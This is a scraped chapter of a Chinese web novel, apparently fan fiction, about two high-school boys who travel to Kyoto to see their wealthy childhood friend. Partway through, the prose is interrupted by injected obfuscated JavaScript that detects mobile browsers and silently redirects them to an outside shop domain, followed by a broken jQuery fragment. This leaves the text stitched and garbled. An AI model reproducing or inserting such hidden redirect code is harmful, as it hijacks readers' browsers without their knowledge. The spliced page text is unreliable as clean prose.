文趣网 > 都市小说 > 幼驯染们是2周目 > 10. 幼驯染回来的第十天
    “萩原研二你还有脸说!”

    夜跑的体育场内声音沙哑,处于变声期的松田阵平恨不得给幼驯染邦邦来上两拳。

    “当初要不是你胡乱看什么书,还拿来实践,知夏能那么生气!”

    已经高三的少年们都抽条了,宽肩窄腰,双臂在身体两侧摆动,脚下步伐一致,气息纹丝不乱。

    “我哪里知道那本书那么不靠谱。”心虚的萩原研二小声蛐蛐。

    今年1月份两人已经参加了全国统一的共同测试,现在正等着东京理工大学的面试。

    相较于体育场内多数来放松压力的青年们,夜跑的两人倒是十分的悠闲,这不,旧事重提然后就掰扯起来了。

    “也就是那会儿的知夏脾气好,你撒个娇道个歉就过去了。”原本目视前方跑步的松田阵平,扭头上下打量了一番身旁的幼驯染,目光嫌弃,“要换成现在的知夏,保准半年都不理你。”

    “那是因为知夏喜欢我啊。”萩原研二美滋滋的看着一起长大的幼驯染,笑的像只狡黠的小狐狸。

    松田阵平摇了摇头,加速向前跑去,不再理这个自恋的家伙。

    “小阵平,你等等我。”

    其实,那时也没那么容易忽悠过去。

    委屈的知夏是五年级开学当天才回来的,足足一个寒假让心怀愧疚的松田阵平与萩原研二抓心挠肝的想,知夏却再也没有主动打来一个电话。

    千盼万盼把幼驯染盼回来的两人,自然第一时间就凑了上去。可知夏视若无睹,任由他们跟着却不曾开口说一句话。

    两人急的团团转,却没有丝毫的办法,等放学跟着知夏回到家眼眶中的泪珠子颗颗滚落,铃木知夏才叹了口气,直视着两人开口道:“知道我当时有多难过了吗。”

    “研二和阵平避而不见,我的眼泪可没有人看到。”

    两人将隐约长高了些的幼驯染揽在怀里,一前一后堵死了能从他们身边离开的路,使劲点头赌咒发誓再也不敢了。

    离别是孩子长大后的必修课,等松田阵平与萩原研二适应了寒暑假知夏会回到京都陪伴家人,真正的分别也已经近在咫尺。

    即将要上初中部的少年学会了控制情绪,只是笑着道别,说着放假回来看看。

    可作为财团少爷的知夏要学的东西太多了,原本一天一通的电话,渐渐变成了三天,五天,半个月。

    等待的时间是漫长的,彼时在初中部二年级的两人做了一个大胆的决定,在一个风和日丽的周六,他们坐上了开往京都的列车。

    日新月异下,原来横跨的83公里,可以用一张薄薄的车票耗时四十五分钟就轻易地覆盖。

    等他们根据地址赶到铃木宅时,庄园里身形渐渐抽条的少年正在进行马术的课程,站在门口的两人贪婪的注视着马背上的身影,日光下少年的一举一动自带矜贵与疏离。

    骑马完成障碍跨越后,一旁的围观者为他叫好欢呼,他们精心守护的小苗苗在他们看不到的地方茁壮成长。

    身骑精壮白马的铃木知夏完成障碍跨越后刚要驱马回到起点,余光不经意间捕捉到了庄园大门处的熟悉身影,一时间还以为是幻觉,等甩了甩头再度看去,发现是真真切切的人后,紧抿的嘴角霎时绽开了笑意。

    “研二!阵平!”

    左手紧拽着缰绳,高高举起的右手晃动着手中的马鞭,嘹亮的少年音响彻云霄,呼唤着最为亲密的幼驯染。

    等不及的铃木知夏策马而去,哒哒的马蹄声踩在三个少年的心上,老宅管家早已十分有眼色的通知门岗开门让少爷的朋友先进来。

    离着幼驯染还有几步路,铃木知夏勒紧了缰绳让马儿停了下来,自己从马上一跃而下,冲进了两个手臂大张的少年怀里。

    远处围观的世家少年们看着这一幕都若有所思,铃木财团的小少爷向来矜贵,从未见过有如此情绪外露的时候。

    “我好想你们。”

    听到知夏埋在怀里坦然的说出思念,松田阵平将环在少年腰上的手臂又紧了紧。

    三人脸贴脸平复着心绪,那群世家子弟也搭乘着庄园里的摆渡车来到了他们的面前。

    “知夏,这两位是?”与铃木知夏在同一班级的诸星秀明开口问道。

    “这位是松田阵平,这是萩原研二,是我的幼驯染。”

    铃木知夏从两人的怀里退了出来,转身向身后的人们介绍道。

    随后又扭头看向松田阵平与萩原研二,笑道:“他们是哥哥朋友家的孩子,我的同学。”

    一时间铃木知夏身后的少年们脸色都不是很好,谁亲谁疏高下立判,他们辛辛苦苦每日跟在铃木知夏身后,却比不上不知道哪里蹦出来的两个同龄人。

    可不等他们发难,铃木知夏已经牵着两人越过他们朝屋内走去,只有微风带来了少年雀跃的声音,“我今天没有时间了,你们自己玩吧。”

    害怕时间带来的疏离在这一刻,被铃木知夏显而易见的偏爱与选择彻底打破。

    “知夏好冷淡哦。”走在铃木知夏右手边的萩原研二似是而非的抱怨,“说好的一天一通电话的。”

    松田阵平也紧握着铃木知夏的左手,嘴边发出轻哼附和,小没良心的,等他主动打电话真的是难于上青天了。

    “我的错,我的错。”走在幼驯染中间的铃木知夏连连告饶,“课业确实太多,等我这边结束,研二和阵平早就休息了。”

    “哪里忍心打扰你们嘛。”

    宽敞明亮的庄园内充斥着少年银铃般的笑声,逼退了往日间的沉闷与寂静,时间没有带走属于三人的亲密无间,反而让久别重逢酿造出了更醇厚的回味悠长。

    铃木知夏虽然压缩了每日与幼驯染的通话,但严格履行着寒暑假就前往神奈川的旅途,年年不落。

    初春下夜里的微风还带着些许的寒意,道路两侧的树木悄悄冒出了柔嫩的枝叶,神奈川不比京都晚间的路上并没有多少行人,夜跑完成的松田阵平与幼驯染慢慢朝家的方向走去。

    “知夏又没接电话吗?”

    昏黄的路灯下飞蛾不断地环绕飞舞,松田阵平拿着毛巾擦拭着发丝间的汗珠,看着身边举着手机心不在焉的萩原研二问道。

    “对啊,也不知道今天又要熬到几点。”

    萩原研二气呼呼的摁着手机键盘,在信息的输入框内摁出了一堆意义不明的字符。

    自从高中开始,铃木知夏才是真正的神龙见首不见尾,属于家族的课程更是翻了一番,虽然铃木大哥已经进入了财团也是板上钉钉的财团下一任的接班者。

    可铃木家对于铃木知夏的要求并没有因此而放松,世家大族的底蕴要在每一个孩子的血脉中传承。

    虽然前不久的寒假知夏刚刚回来过,但这并不足以抚慰两颗日日夜夜思念幼驯染的心。

    手中捏着被浸湿的毛巾,松田阵平低头看了会儿自己朝既定的方向不断迈动地脚步,扭头向不知道在想什么的萩原研二说道。

    “hagi,我们再去趟京都吧。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825349|211235||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    “哎——”萩原研二刚刚还无精打采的双眸顿时亮起,看着今晚不知道为什么变得超级聪明的幼驯染,眼底是跃跃欲试。

    三年前私自去京都会被爸妈念叨,但是现在他们有充分的理由了啊!

    东京理工大学就在京都,既然要报考那里,怎么可以不去看看呢。

    两人一拍即合,遂即连忙赶回家收拾东西,告知父母后两人买到了今日开往京都最后一班列车仅剩的两张票,满怀期待的再次踏上了旅途。

    铃木宅内灯火通明,却安静非常,只有管家与个别几位仆人穿梭其中。

    书房门口,管家接过了身后女仆手中的托盘,轻轻敲响房门,听到主人说请进后,才压下门把手迈着几乎没有声响的脚步进入。

    今日男女主人依旧在公司中加班,大少爷虽然按时下班却也带着秘书在处理事物,将托盘中的两杯咖啡与餐食放到桌上,就听到大少爷问道。

    “知夏还没下课吗?”

    铃木景行早已褪去了少年时的青涩,已经进入财团历练的青年一举一动间流露出的都是上位者的沉稳笃定。

    “老师已经走了,少爷还在画室。”

    铃木景行点了点头,嘱咐道:“给他送些小食,最近变懒了,饿了也不肯挪窝。”

    一旁的秘书低头遮掩唇边的笑意,心中暗自蛐蛐,还不是你惯的。

    谁不知道你铃木景行是弟控,当初那场兄弟不合的风波,你可是转身就把偷拍的记者和他背后的报社给告了,报道这件事的电视台撤完资还不算,还要扶持人家的竞争对手打擂台,报道这件事的主持人如今业内更是查无此人。

    经此一役,谁还敢不长眼惹你们这对兄弟,但凡有报道都是兄友弟恭,要不就是对着颜值大夸特夸。

    “已经准备好了,正要送过去。”

    老管家是看着他们两个长大的,自然上心不已,“少爷也别太累,适当歇歇。”嘱咐完才退出了书房。

    老宅顶层的画室内,坐在画架前的铃木知夏已经介于少年与青年之间,白皙的掌侧如今沾着炭灰黑的像是刚挖完煤,手中拿着炭笔在裱在画板上的素描纸上仔细描摹。

    乌黑的眸子看着画板,笑意是怎么藏都藏不住。

    画面上是三个亲密挨在一起的少年,卷毛少年轻皱着眉毛似乎是想逃离,却被带着猫耳发箍的紫色桃花眼少年死死拉住,另一个自然是他铃木知夏本人,正拿着猫耳发箍对着想逃离的卷毛少年比划,似乎跃跃欲试。

    这是寒假时他们去游乐园发生的事了,只可惜阵平已经有了酷boy的包袱,说什么都不肯戴上那个粉色的猫耳发箍,任凭他和研二怎么痴缠都没能让拳头邦邦硬的阵平就范。

    想到此处,铃木知夏不由得眉峰轻挑,当时看不到,又不代表现在看不到,自己可以帮阵平带上嘛,到时候悄悄给研二看。

    “当当当。”

    沉浸在不可描述的思绪中的铃木知夏回神,站起身去开门,猫耳少年什么的还是不要让别人看到了。

    接过餐盘送走来关心的管家后,铃木知夏拿起了门口桌台上的手机,回到了画室内。

    手机带在身边他实在静不下心来,总想着那两个家伙有没有给自己发消息,但凡有一点点定力都不至于让他把手机放在门外。

    毛巾擦去手上的炭灰后,铃木知夏拿起杯子喝了口橙汁,随后才点亮了手机屏幕,映入眼帘的就是来自萩原研二的消息。

    疲惫的青年勾起了嘴角,点开查看。